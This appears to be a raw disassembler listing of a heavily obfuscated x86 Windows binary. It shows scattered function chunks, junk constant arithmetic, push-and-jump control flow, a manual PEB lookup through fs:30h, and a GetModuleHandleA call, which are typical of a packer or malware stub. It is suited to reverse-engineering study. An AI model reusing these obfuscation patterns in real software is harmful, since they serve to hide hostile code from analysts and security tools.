CHUNK FOR sub_4279C0 loc_42446C: ; CODE XREF: sub_4279C0-1B31j call sub_42851A mov edx, [ebp+arg_0] mov eax, [edx] add edx, 4 mov edx, [edx] jmp loc_4263B1 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_424480: ; CODE XREF: sub_427032:loc_423806j mov ebx, [eax+4] mov eax, [eax] jnz loc_427039 retn ; --------------------------------------------------------------------------- loc_42448C: ; CODE XREF: sub_427032:loc_427039j call sub_424D25 loc_424491: ; CODE XREF: sub_427AEB+12j jmp loc_427E3F ; END OF FUNCTION CHUNK FOR sub_427032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424496: ; CODE XREF: sub_427C9B-485Cj jz loc_425076 test eax, ecx jmp loc_4246F4 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_4244A3: ; CODE XREF: sub_4279ED:loc_424C76j xor eax, eax mov [ebp+var_C], eax push offset loc_424BF2 jmp loc_424AA9 ; END OF FUNCTION CHUNK FOR sub_4279ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4244B2: ; CODE XREF: sub_425CB3-1BD2j push 0 mov edx, esp push ecx adc ecx, esi jmp loc_42383A ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4244BE: ; CODE XREF: sub_424631:loc_4232F2j mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_4264F5 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_4244D3: ; CODE XREF: sub_424E4F:loc_42634Fj cmp [ebp+var_1], 0 jz loc_428728 mov [ebp+var_8], 1 loc_4244E4: ; CODE XREF: sub_42392D+151Dj ; sub_424E4F+3D36j mov eax, [ebp+var_8] pop ecx pop ecx call sub_428718 loc_4244EE: ; CODE XREF: sub_425F3F:loc_423456j ; hjohnhn9:00424BF6j ... mov eax, [ebp+var_C] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424E4F ; =============== S U B R O U T I N E ======================================= sub_4244F5 proc near ; CODE XREF: sub_428788:loc_423610p ; sub_42442F+9p ... var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424238 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042439F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00424A39 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424AF9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425E44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042681D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004274F7 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004290DF SIZE 00000005 BYTES call sub_424D38 loc_4244FA: ; CODE XREF: hjohnhn9:004235ABj ; sub_4284CB+4p xchg ecx, [esp+0] pop ecx adc edx, [esp-4+arg_4] jno loc_424A39 add esp, 8 mov eax, [eax] call sub_4241F3 loc_424512: ; CODE XREF: sub_427C9B-2Cj jmp loc_424238 sub_4244F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424517: ; CODE XREF: sub_425BD2+14j jmp loc_423F21 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_42451C: ; CODE XREF: sub_427C9B-2192j jmp loc_429112 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424521: ; CODE XREF: sub_424161-102j jmp sub_42345B ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_424526: ; CODE XREF: sub_426211:loc_4250CFj ; hjohnhn9:004250E4j add edi, 8BC39D66h sub edi, 6F24657h and edi, 366FF2Bh push offset sub_42790F jmp loc_42765C ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424542: ; CODE XREF: sub_42466E-660j xchg ebx, [ebp+0] mov ebp, ebx test edx, 804613E9h jmp loc_42402C ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] jmp loc_423408 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424564 proc near ; DATA XREF: sub_428436o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424E05 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00426402 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00426547 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042755C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427F75 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax loc_42456D: ; CODE XREF: sub_424564+2FFBj jb loc_424E05 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_427F75 sub_424564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_42457E: ; CODE XREF: sub_424161+106Dj jnz loc_4284EE jl loc_428326 jmp loc_4284ED ; --------------------------------------------------------------------------- loc_42458F: ; CODE XREF: sub_424161:loc_427BEEj pop edx xor edx, 2B03DDE2h rol edx, 3 jnb loc_42605A xchg edx, eax jle loc_42312B jmp loc_4271FD ; END OF FUNCTION CHUNK FOR sub_424161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edx, [ecx] test ebp, 3765BA79h jmp loc_423542 ; =============== S U B R O U T I N E ======================================= sub_4245BA proc near ; CODE XREF: sub_424698:loc_423AE4p ; hjohnhn9:00424886j ; FUNCTION CHUNK AT 0042802C SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] movzx eax, word ptr [eax+6] mov [ebp-10h], eax push offset loc_4272B3 jmp loc_42802C sub_4245BA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_4245D2: ; CODE XREF: sub_427564-575j or ebx, 68CF1599h add esi, ebp jmp sub_427DE6 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_4245DF: ; CODE XREF: hjohnhn9:004242F4j push 6EB72A16h pop ecx rol ecx, 6 xor ecx, 51481A26h and ecx, 0B49990B4h rol ecx, 6 add ecx, 0E01E531Dh jmp loc_428EC5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424603: ; CODE XREF: sub_42851A-616j jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427166 loc_424608: ; CODE XREF: sub_427166+Ej pop esi rol esi, 12h xor esi, 0E0F3CFF4h sub esi, 0D1A215BAh and esi, 0E378881Fh add esi, 0BE3237CCh xchg esi, [esp+4+var_4] jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_427166 ; --------------------------------------------------------------------------- loc_42462C: ; CODE XREF: hjohnhn9:00425DD9j call sub_426D17 ; =============== S U B R O U T I N E ======================================= sub_424631 proc near ; CODE XREF: hjohnhn9:00424BEDj ; sub_428477-1C90p ; FUNCTION CHUNK AT 004230C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423180 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004232F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004233F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00423662 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042368D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423B9C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00423ED7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00423F3D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00424314 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004244BE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004249A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424CAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F28 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425164 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00425235 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425B0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004264F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426535 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426619 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00426650 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426894 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042692F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426E35 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042708C SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0042729D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276C5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004277A2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00427970 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427D89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DB3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428124 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042839C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428567 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C75 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428DD1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428E16 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx jnz loc_42879B call nullsub_2 call sub_424877 jmp loc_428124 sub_424631 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_42464A: ; CODE XREF: sub_424877:loc_4288F3j mov ebp, esp jnz loc_4265EE add esp, 0FFFFFFECh push offset loc_424300 loc_42465A: ; CODE XREF: hjohnhn9:loc_428351j jmp loc_42792C ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_42465F: ; CODE XREF: sub_423BC3:loc_424C7Bj mov edx, [edx] xchg edx, [esp-8+arg_4] push dword ptr [ebp+8] call eax ; GetModuleHandleA jmp loc_42713A ; END OF FUNCTION CHUNK FOR sub_423BC3 ; =============== S U B R O U T I N E ======================================= sub_42466E proc near ; CODE XREF: hjohnhn9:004230C4p ; hjohnhn9:004269FEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042309F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042384C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423BB8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424008 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042402C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042424B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424542 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424BD9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425091 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00425D3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425DA9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426433 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427947 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042797F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042857C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004289F8 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov edx, [edx] add eax, edx pop edx push eax mov eax, ebx xchg eax, [esp+0] jmp loc_42384C sub_42466E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov dword ptr [ebp-4], 1 push 0E4AEB5DAh push offset sub_4251EB jmp loc_4230A5 ; =============== S U B R O U T I N E ======================================= sub_424698 proc near ; CODE XREF: sub_424A78+4p ; sub_428162+4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004238FE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423928 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423AD2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424153 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004241A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424757 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424F4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425001 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425C56 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004261CF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042646F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427657 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042893A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BE8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428E07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E1B SIZE 00000010 BYTES push ebp call sub_423F77 loc_42469E: ; CODE XREF: sub_427994-8Aj jmp loc_42646F sub_424698 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_4246A3: ; CODE XREF: sub_4290CF-2157j jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4246A8: ; CODE XREF: sub_427C9B+29j ror ebp, 1Dh loc_4246AB: ; CODE XREF: sub_427C9B:loc_427CB3j xor edx, 0B4557C7Dh push offset loc_4230BC jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AAF loc_4246BB: ; CODE XREF: sub_423AAF+1Ej add esi, 77C34538h xchg esi, [esp+4+var_4] jmp loc_428027 ; END OF FUNCTION CHUNK FOR sub_423AAF ; --------------------------------------------------------------------------- loc_4246C9: ; DATA XREF: sub_425BD2+1684o inc dword ptr [ebp-4] cmp dword ptr [ebp-10h], 0 jge loc_424788 jmp loc_4251A7 ; =============== S U B R O U T I N E ======================================= sub_4246DB proc near ; CODE XREF: sub_4262C5:loc_423288p ; sub_427C9B+30j ; FUNCTION CHUNK AT 004250AF SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ebp mov ebp, esp push ecx push offset loc_427E2F jmp loc_4250AF sub_4246DB endp ; --------------------------------------------------------------------------- loc_4246ED: ; CODE XREF: hjohnhn9:loc_428C28j mov edi, ecx call sub_4249E1 ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4246F4: ; CODE XREF: sub_427C9B-37FDj ja loc_4278C0 sub ecx, ebx push ecx jmp loc_427C61 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424703: ; CODE XREF: sub_427AC0-2DB4j xchg eax, ecx loc_424705: ; CODE XREF: sub_427AC0:loc_424D04j sub eax, 2E16C343h xor eax, 0D66B12EEh and eax, 6022EF0Fh jmp loc_425C3B ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_42471C: ; CODE XREF: sub_42851A-4E85j push eax retn ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275B2 loc_42471E: ; CODE XREF: sub_4275B2+13j jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_4275B2 ; --------------------------------------------------------------------------- loc_424723: ; CODE XREF: hjohnhn9:00426ABEj jmp locret_4265BD ; --------------------------------------------------------------------------- loc_424728: ; CODE XREF: hjohnhn9:00423BFDj jmp loc_427358 ; =============== S U B R O U T I N E ======================================= sub_42472D proc near ; CODE XREF: sub_4279C0-1A5Ep push offset sub_4249BF jmp nullsub_9 sub_42472D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_424737: ; CODE XREF: sub_4265CD+Bj pop ebp push 0E7122127h pop eax or eax, 0C64C46DCh jnz loc_424045 or ebp, edx or eax, 356DC62Fh jmp loc_42403E ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424757: ; CODE XREF: sub_424698:loc_428E07j xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_423390 jmp loc_424F4D ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_424768: ; DATA XREF: sub_423B05+4AF9o call sub_424771 ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_42476D: ; CODE XREF: sub_425BD2:loc_423082j ; hjohnhn9:00424107j ... mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_424771 proc near ; CODE XREF: hjohnhn9:loc_424768p ; sub_423B05+15B2p push eax push offset loc_426AAD jmp sub_42911C sub_424771 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_42477C: ; CODE XREF: sub_425BD2-1776j jb nullsub_95 sbb ecx, 110A6425h loc_424788: ; CODE XREF: hjohnhn9:004246D0j ; sub_426C09+8j ... jz loc_426F03 mov eax, [ebp-10h] mov al, [ebp+eax-20h] mov edx, [ebp-4] mov [edx], al push offset sub_426827 jmp loc_4266A6 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4247A4: ; CODE XREF: sub_426708:loc_426311j ; sub_426708+254j push eax push 0F61C2176h pop eax rol eax, 14h add eax, 0E8D2D426h jmp loc_4283D8 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4247B9: ; CODE XREF: sub_426A30+1E94j mov ebx, [ebx+ecx] loc_4247BC: ; CODE XREF: sub_426A30+5E4j call sub_42873F loc_4247C1: ; CODE XREF: sub_426A30-379Aj ; sub_426A30:loc_426FF4j ... js loc_4248F1 mov ecx, [ebx+3Ch] jmp loc_423126 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428192 loc_4247CF: ; CODE XREF: sub_428192+Bj push offset loc_42312B jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_4247D9: ; CODE XREF: sub_4282F8+Cj mov [ebp+var_8], eax mov eax, [ebp+arg_0] push eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 8 setnz al call sub_42392D jmp loc_426189 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; =============== S U B R O U T I N E ======================================= sub_4247F4 proc near ; CODE XREF: hjohnhn9:004276F2p ; hjohnhn9:0042770Fj ; FUNCTION CHUNK AT 0042634A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426D4F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428A7E SIZE 00000019 BYTES xchg eax, [esp+0] pop eax loc_4247F8: ; CODE XREF: hjohnhn9:0042810Fj mov al, 1 call edx jmp loc_426D4F sub_4247F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA9 loc_424801: ; CODE XREF: sub_425EA9:loc_4289C0j jnz loc_427CE0 call sub_42351F push offset loc_427CD8 jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_425EA9 ; --------------------------------------------------------------------------- loc_424816: ; CODE XREF: hjohnhn9:00427E70j rol esi, 9 ; =============== S U B R O U T I N E ======================================= sub_424819 proc near ; CODE XREF: sub_426A78+C8Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423394 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423C02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424013 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004242E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042488B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424967 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425F9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426491 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00426875 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426A03 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EC4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004272E4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004273F5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427B0E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427F3A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004282C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428ED0 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx mov eax, esp jmp loc_427F3A sub_424819 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_424824: ; CODE XREF: sub_424A28j mov eax, ds:dword_4233C4 or eax, eax jmp loc_4276BB ; END OF FUNCTION CHUNK FOR sub_424A28 ; =============== S U B R O U T I N E ======================================= sub_424831 proc near ; DATA XREF: sub_42645D+8o ; FUNCTION CHUNK AT 00424405 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004276B6 SIZE 00000005 BYTES push esi push 85CCA664h pop esi add esi, 0A1CD7584h xor esi, 0E496735Ch sub esi, 0E8B9B3D8h jmp loc_4276B6 sub_424831 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_42484F: ; CODE XREF: sub_426CC8+13j add ecx, 1237F74h test ecx, 100000h jmp loc_426DCF ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_424860: ; CODE XREF: sub_42363F+264Fj jz loc_424FB6 jmp loc_424B8A ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= sub_42486B proc near ; CODE XREF: sub_425029+2107p ; hjohnhn9:0042840Ej ; FUNCTION CHUNK AT 0042836D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi inc dword ptr [ebp-0Ch] jmp loc_42836D sub_42486B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424877 proc near ; CODE XREF: sub_428B28:loc_423279j ; sub_426D17-3821p ... ; FUNCTION CHUNK AT 0042464A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004265EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042792C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288F3 SIZE 00000005 BYTES push ebp jmp loc_4288F3 sub_424877 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42487D: ; CODE XREF: hjohnhn9:00425C6Cj jnb loc_4280AE rol edx, 1Ch jmp sub_4245BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_42488B: ; CODE XREF: sub_424819:loc_423EC7j jl loc_4273F5 ; END OF FUNCTION CHUNK FOR sub_424819 ; START OF FUNCTION CHUNK FOR sub_426C09 loc_424891: ; CODE XREF: sub_426C09+Ej jmp loc_42361F ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42303E loc_424896: ; CODE XREF: sub_42303E+Cj jmp loc_427119 ; END OF FUNCTION CHUNK FOR sub_42303E ; --------------------------------------------------------------------------- jg loc_42756B jmp loc_4273EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4248A6: ; CODE XREF: sub_4263E3+Ej jz loc_426CA1 jmp loc_428A14 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; =============== S U B R O U T I N E ======================================= sub_4248B1 proc near ; DATA XREF: sub_424161-102Do jnz loc_425FA3 call sub_424877 mov edx, 0B9726E5Ah call sub_4279ED call sub_428249 sub_4248B1 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4248CB: ; CODE XREF: sub_424A78+217Aj jmp loc_4282EF ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264FA loc_4248D0: ; CODE XREF: sub_4264FA+13j jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_4264FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E8C loc_4248D5: ; CODE XREF: sub_426E8C:loc_426DD5j mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425B24 call sub_426859 jnz loc_425B24 jmp loc_42804B ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_4248F1: ; CODE XREF: sub_426A30:loc_4247C1j mov ecx, [ebx+3Ch] call sub_428E76 ; END OF FUNCTION CHUNK FOR sub_426A30 ; =============== S U B R O U T I N E ======================================= sub_4248F9 proc near ; CODE XREF: sub_4250FC:loc_4268DBp ; hjohnhn9:00428CE2j xchg ebx, [esp+0] pop ebx pop ecx pop ecx jmp loc_427BB3 sub_4248F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424904: ; DATA XREF: sub_42351F+2o mov eax, large fs:30h mov eax, [eax+0Ch] call sub_426C48 ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_424913: ; CODE XREF: sub_4266B5:loc_426B04j call sub_42355C loc_424918: ; CODE XREF: sub_428E65+Cj jmp nullsub_72 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428309 loc_42491D: ; CODE XREF: sub_428309+Bj jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_428309 ; --------------------------------------------------------------------------- loc_424922: ; CODE XREF: hjohnhn9:0042701Cj jo loc_4290DF ; =============== S U B R O U T I N E ======================================= sub_424928 proc near ; CODE XREF: sub_426BFD+7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423984 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428636 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428696 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp-4+arg_0] push 5B23B617h xchg edi, [esp+0] mov esi, edi pop edi jmp loc_428636 sub_424928 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424941: ; CODE XREF: hjohnhn9:00428935j jmp loc_427F09 ; =============== S U B R O U T I N E ======================================= sub_424946 proc near ; CODE XREF: hjohnhn9:00426BCDj ; sub_42325E:loc_428EBFp ; FUNCTION CHUNK AT 004281EA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429018 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx add ebx, ebp add ebx, 0D9BF36A1h mov ebx, [ebx] loc_424954: ; CODE XREF: sub_4251EB+DFCj popf add edx, ebx jmp loc_429018 sub_424946 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, 7427B536h jmp loc_426CE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_424967: ; CODE XREF: sub_424819:loc_423394j pop eax add eax, 5B709358h rol eax, 1Eh push offset sub_4283C9 jmp loc_4242E3 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42497B: ; CODE XREF: sub_4260BD+228Fj pop ebx loc_42497C: ; CODE XREF: hjohnhn9:00425F73j cmp dword ptr [ebp-8], 0 jnz loc_42763E jmp loc_426E4D ; --------------------------------------------------------------------------- 